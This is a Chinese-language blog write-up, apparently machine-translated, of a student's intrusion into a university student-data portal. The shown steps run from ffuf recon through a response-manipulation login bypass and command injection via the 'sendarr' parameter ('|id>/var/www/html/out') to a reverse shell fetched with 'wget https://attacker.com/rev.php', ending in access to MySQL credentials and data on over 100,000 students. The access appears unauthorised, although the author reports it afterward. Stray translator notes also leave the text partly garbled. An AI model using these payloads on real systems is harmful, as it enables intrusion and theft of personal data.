你好朋友们,我是一名大三的BCA学生,同时也是一名兼职的安全研究员,我对网络安全特别是Web安全非常有热情。下面我要分享一篇关于我是如何入侵一个大型大学解决方案门户网站服务器的文章,该网站为客户大学提供了服务,并存储了成千上万学生的数据。
本大发现之旅有一天当我向老师询问我的出勤分数时,她拒绝了,说“不,你自己去学生门户查一下。”没有再多问什么,我回到房间,打开笔记本,登录到门户。在查看出勤时,一个念头闪过我的脑海。“如果我破解这个会怎样?”老师的拒绝和我出勤分数不够激起了我内心的小黑客。我的唯一目标就是入侵这个服务器,别无他求。于是我开始尝试……
目标这是一个被印度许多大学/学院用来管理学生信息,如成绩、出勤记录、答题纸等的网站。这个网站只有学生和教师可以登录,因此注册时需要有效的学院注册号。
这台服务器还有一款手机应用,也是用同样的后台技术。
RECON注:如果 "RECON" 是专有名词,可以直接保留原样。此处直接保留为 "# RECON",更符合源文本的风格和现代汉语中对英文缩写的处理方式。
所以像往常一样,我从侦察过程开始,使用 Subfinder、Assetfinder、amass、crt.sh、ffuf 等工具找到了目标的所有子域以及子子域。我将目标的域名存放在一个名为“scope”的文件中,然后把这些工具都运行了一遍。但没有发现任何有趣的子域。
门户本身就是一个子域,比如 studentportal.example.com。接着,我进入了目录扫描阶段。我最喜欢的目录扫描工具是FFUF,它是一个快速且可靠的工具。因此我运行了以下命令:
使用ffuf工具进行目录扫描
ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302
# 递归搜索
就这样让它自己跑了一分钟左右。
我找到了一个叫做/bkp的有趣目录。
放下扫描器后,我赶紧查看了/bkp端点,发现了一个登录页面。这是一张备份门户的登录页面。我当时心想……找到了,第一步总算找到了!!!
数据库备份登录页面
所以现在我开始疯狂尝试每一种可能的默认用户名和密码组合,但都没有成功。现在就开始动手了。
部分权限避开你可能对这里的“partial”是什么意思感到困惑,特别是在认证绕过方面。我将在展示如何进行认证绕过之后解释一下。
我开始了BurpSuite的抓包,并用了一组随机的凭证。现在可以看到,包含我输入的数据的请求已经发出去了。
登录时的请求和响应
有经验的人已经发现这里的漏洞了!
我们从响应中看到它返回了“失败”,这表明客户端的登录验证非常重要。可能存在响应被操纵的风险。
所以我检查了客户端代码,发现如果登录成功,服务器会在登录成功后返回需要备份的数据,并将用户重定向到一个显示登录返回数据库名称的面板。因为我不知道服务器上存在哪些备份,我尝试将“failure”改为“success”。因此,请求返回了200状态码,并直接向/bkp/connect.php发送请求(connect.php用于后台登录到MYSQL数据库)。
结果发现我已经登录到控制面板了!
但它不全面,也就是说,因为它将每一个字母都视为数据库名,所以数据库名称是“s”、“u”、“c”、“c”、“e”、“s”、“s”。
我没看到可以备份的数据库名称,但如果我知道数据库名字的话,我就可以备份了.
远程代码运行在面板里,我看到了一个名为“备份”的按钮。此按钮的功能是将选定的备份数据打包成一个zip文件。点击该按钮时,它会发送一个POST请求(/bkp/backup1.php),并将备份数据库的名称作为参数“sendarr”发送。
点击备份时的那条请求
所以我对sendarr
参数进行了大约10到20分钟的模糊测试,最后终于找到了一个重要的突破口。
当我把 sendarr 的值设为 %00(零字节)后,服务器宕机,返回了一个好玩的错误信息。
显示出后台用了 "exec()" 的响应
它使用了exec()函数在后台来处理这个备份工作。
从PHP文件执行系统命令的函数是exec()。
想了解更多关于 exec()
的用法,可以看看这里:https://www.php.net/manual/en/function.exec.php。
看到这样的回应让我非常激动,因为它表明服务器使用了exec()来执行此操作。所以我立即注入了一个负载数据,它会在20秒后发送响应。
sendarr=|睡眠 20,这里的20表示等待20秒。
The | (竖线符号,也称为管道)用于在Bash或Linux终端中将一个命令的输出传递给另一个命令,基本上是把命令连接起来。
所以后台的当前命令是这样的:
./backup.sh | sleep 20 # (该命令将执行备份脚本并让其睡眠20秒)
所以运行备份.sh脚本后,它会执行暂停命令。
我发送了请求,然后砰!服务器用了20.6秒才响应我的请求。现在我确认这就是一个远程代码执行漏洞。
目前它无法看到,我需要获得可见的证明才能继续进行,所以我运行了一个命令,并将输出重定向至 /var/www/html/out。
网站的主页目录是 /var/www/html,如果我在该目录放置一个文件,包含我运行命令输出,我就能通过访问 /out 来查看输出。所以我注入了以下载荷:
sendarr=|id>/var/www/html/out
此任务在服务器上运行“id”命令,并将输出结果保存到out文件中。
然后我退出了 /out。耶哈!!!
现在我有了执行代码的能力,我编写了一个简单的Python脚本,像在命令行操作一样与服务器进行交互。
基本的 RCE 利用漏洞
现在是时候控制服务器了。
获得访问现在我要进入服务器里,我用了一个PentestMonkey工具的反向shell。
我在攻击机上上传了反向shell文件,并用这个下载荷把它放到目标服务器。
[原载荷内容]
sendarr=|wget https://attacker.com/rev.php # (下载来自攻击者的脚本)
这个命令将反向 shell 工具下载到了网站的根目录。
现在我启动了 netcat 监听并访问了 /rev.php 页面
我终于得到了成就!!
反向Shell连接
现在我成功进去了服务器里。
我当时既兴奋又紧张。我确实有点想当黑客的感觉,有种冲动想去翻找那些敏感信息。
我发现服务器里有每个程序文件,这些程序文件包括学生数据管理、生成成绩单、将学生分数录入数据库、录入考勤数据、处理付款等等。
在查找文件时,我找到了我想要的……一个叫consts.php的文件,其中包含登录MySQL数据库所需的凭证,可以用来登录MySQL数据库。
MySQL 账户信息存在于 consts.php 中
不再等待,我赶紧用下面的命令登录MySQL:省略了具体的登录命令
省略的具体登录命令
当你需要登录到MySQL数据库时,可以使用这个命令。在终端中输入以下命令来连接MySQL服务器:
mysql -h servername.rds.amazonaws.com -u username -p
其中,-h
是指定服务器地址,-u
是指定用户名,-p
是提示输入密码。
“砰!”我竟然在数据库里了!
我发现了很多不同大学和学院的数据库。
我在列表中找到了我的大学,我试图查找我的考勤记录、录取信息和成绩,终于找到了!
这里有一些我找到的数据截图,如下所示:
作为一名负责任的道德黑客,我不应该尝试更改、删除或添加任何数据库中的数据。所以我将此事报告给了校方,校方将此事转给了该服务提供商的IT团队。漏洞大约花了两周时间才被修复。
数据库差不多收录了全国超过10万名大学生的信息。
最后,我成功渗透了服务器,完成了我的使命。我花了三天时间完成了一整套漏洞利用链以进入数据库。
这是我快速写的一篇文章,希望你喜欢这篇。如果喜欢这篇,给我点个赞吧。更多好文,敬请期待。
共同學習,寫下你的評論
評論加載中...
作者其他優質文章